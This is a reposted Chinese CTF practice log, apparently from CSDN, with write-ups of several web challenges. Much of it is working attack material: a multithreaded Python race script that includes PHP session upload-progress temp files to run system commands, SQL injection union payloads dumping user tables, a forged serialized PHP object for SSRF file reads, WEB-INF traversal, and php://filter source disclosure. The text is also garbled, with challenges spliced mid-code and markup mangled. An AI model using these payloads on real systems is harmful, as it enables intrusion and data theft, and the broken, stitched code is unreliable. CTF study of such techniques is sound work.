[第五空间 2021]EasyCleanup 临时文件包含考点 分析源码,两个特殊的点,一个是 eval,另一个是 include eval 经过了 strlen filter checkNum
临时文件包含考点
分析源码,两个特殊的点,一个是 eval
,另一个是 include
eval 经过了 strlen filter checkNums 三个函数
include 经过了 strlen filter 两个函数
filter
检测是否包含特定的关键字或字符
function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; }
checkNums
检查字母和数字的数量
PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理
工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。
查看 php 配置
?mode=eval
phpinfo关于session的设置session.save_path = /tmpsession.use_strict_mode = Offsession.upload_progress.cleanup = Onsession.upload_progress.enabled= On......
脚本包含
import ioimport requestsimport threading # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'Http://1.14.71.254:28592/'file = 'ph0ebus.txt' # 上传文件名f = io.BytesIO(b'a' * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session): while True: session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session): while True: resp = session.post( f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');") if file in resp.text: print(resp.text) event.clear() else: print("[+]retry") # print(resp.text)if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好 threading.Thread(target=write, args=(session,)).start() # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组() for i in xrange(1, 30): threading.Thread(target=read, args=(session,)).start() event.set()
分析源码
highlight_file(__FILE__);function removedir($dir){ $list= scandir($dir); foreach ($list as $value) { if(is_file($dir.'/'.$value)){ unlink($dir.'/'.$value); }else if($value!="."&&$value!=".."){ removedir($dir.'/'.$value); } }}function unzip($filename){ $result = []; $zip = new ZipArcHive(); $zip->open($filename); $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename); if(!is_dir($dir)){ mkdir($dir); } if($zip->extractTo($dir)){ foreach (scandir($dir) as $value) { $file_ext=strrchr($value, '.'); $file_ext=strtolower($file_ext); //转换为小写 $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext=trim($file_ext); //收尾去空 if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){ removedir($dir); } if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){ if(is_file($dir."/".$value)){ unlink($dir."/".$value); }else{ if($value!="."&&$value!="..") array_push($result,$value); }} } $zip->close(); unlink($filename); return JSON_encode($result); }else{ return false; } }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpselect 1,2,3,4
网页内容左上角报错信息有反序列化函数 unserialize()
查表
-1 uNIOnselect 1,group_concat(table_name),3,4 from infORMation_schema.tables where table_schema=database();
username age blogusers
查列
-1 unionselect 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username age blogno,username,passwd,data
查询 users 表对应的数据
-1 unionselect 1,group_concat(no,username,passwd,data),3,4 from users;
username1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3Dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}
这是我的注册信息,所以没用,得找其他方法
扫描后台可扫到 user.php.bak
highlight_file(__FILE__);class UserInfo{ public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBloGContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); }}
根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容
使用 sql 的 4 字段对应的 data 修改序列化内容
file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
对应的 sql 语句
-1 unionselect 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
访问链接,查看源码
点击 help 后,java 程序错误
且 URL/Download?filename=help.docx
存在 WEB-INF/web.xml
泄露
WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。
WEB-INF 主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件
Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。
<servlet> 标签定义了一个 Servlet。<servlet-name> 标签定义了 Servlet 的名字。<servlet-class> 标签定义了 Servlet 的类名。<servlet-mapping> 标签将 Servlet 映射到一个 URL。<url-pattern> 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。对于每个 Servlet,都有相应的 <servlet> 和 <servlet-mapping> 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
解码得
首页直接报错,源码中有信息
<html>html>
测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值
?pass=fa25e54758d5d5c1927781a6ede89f8a
<script language="javascript" type="text/javascript"> window.location.href="flflflflag.php";script><html>html>
/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php
flflflflag.php
<html><head><script language="javascript" type="text/javascript"> window.location.href="404.html";</script><title>this_is_not_fl4g_and_出题人_wants_girlfriend</title></head><><body><?php$file=$_GET['file'];if(preg_match('/data|input|zip/is',$file)){die('nonono');}@include($file);echo 'include($_GET["file"])';?></body></html>
dir.php
var_dump(scandir('/tmp'));?>
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留
使用脚本发送包含文件区块的数据包
import requestsfrom io import BytesIO #BytesIO实现了在内存中读写bytespayload = ""data={'file': BytesIO(payload.encode())}url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"r=requests.post(url=url,files=data,allow_redirects=False)
来源地址:https://blog.csdn.net/qq_62260856/article/details/129535572
--结束END--
本文标题: 刷题记录(2023.3.14 - 2023.3.18)
本文链接: https://lsjlt.com/news/399102.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0